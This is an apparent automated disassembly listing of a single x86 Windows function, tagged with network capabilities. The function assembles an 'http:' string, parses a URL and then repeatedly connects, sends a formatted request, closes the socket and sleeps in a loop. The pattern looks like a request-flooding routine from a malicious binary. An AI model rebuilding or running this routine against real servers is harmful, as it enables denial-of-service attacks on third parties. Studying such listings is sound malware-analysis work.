Function at 0x1315b050
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x474
mov al, 0x74
push ebp
mov byte [esp + 5], al
mov byte [esp + 6], al
mov al, 0x2f
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0xe], al
lea eax, [esp + 8]
push edi
mov esi, 0x1315df70
push eax
mov ebp, ecx
push esi
mov byte [esp + 0x14], 0x68
mov byte [esp + 0x17], 0x70
mov byte [esp + 0x18], 0x3a
mov byte [esp + 0x1b], 0
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
je 0x1315b0b0
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
add esi, 0x1315df70
push 0x131520dc
push esi
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
je 0x1315b124
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x28]
push 0x131520dc
rep stosd dword es:[edi], eax
push esi
call sub.msvcrt.dll_strcspn
push eax
lea ecx, [esp + 0x34]
push esi
push ecx
call sub.msvcrt.dll_strncpy
push 0x131520dc
push esi
call sub.msvcrt.dll_strcspn
add esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
add esp, 0x1c
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jae 0x1315b15b
mov edi, 0x131520dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2f0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ax, word [0x1315e074]
xor edx, edx
mov dword [esp + 0x18], edx
push eax
mov dword [esp + 0x20], edx
mov word [esp + 0x1c], 2
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_ntohs]
lea ecx, [esp + 0x28]
mov word [esp + 0x1a], ax
push ecx
mov ecx, ebp
call fcn.1315b460
mov dword [esp + 0x1c], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xed]
mov byte [esp + 0xec], 0
mov esi, dword [0x1315e5a8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315b2fe
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x1315b1e4
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x4c]
push esi
lea eax, [esp + 0x90]
push edx
push eax
call ebx
mov eax, dword [0x1315df64]
add esp, 0xc
inc esi
cmp esi, eax
mov dword [esp + 0x18], esi
jle 0x1315b20f
mov ecx, dword [0x1315e5a8]
mov dword [esp + 0x18], ecx
mov ecx, 0x3f
mov esi, 0x13152334
lea edi, [esp + 0x1f4]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x1f4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x1f4]
push ecx
push edx
call fcn.13157480
add esp, 8
lea eax, [esp + 0x2c]
mov ecx, ebp
push eax
push 3
call fcn.131597b0
add eax, 5
mov ecx, ebp
push eax
push 3
call fcn.131597b0
mov ecx, dword [0x1315e074]
add eax, 6
push eax
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x9c]
push edx
lea ecx, [esp + 0x208]
push eax
lea edx, [esp + 0x108]
push ecx
push edx
call ebx
add esp, 0x20
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [esp + 0x1c]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0xf0]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0xf8]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x1315df6c]
push edx
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315b1e0
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x474
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x474
ret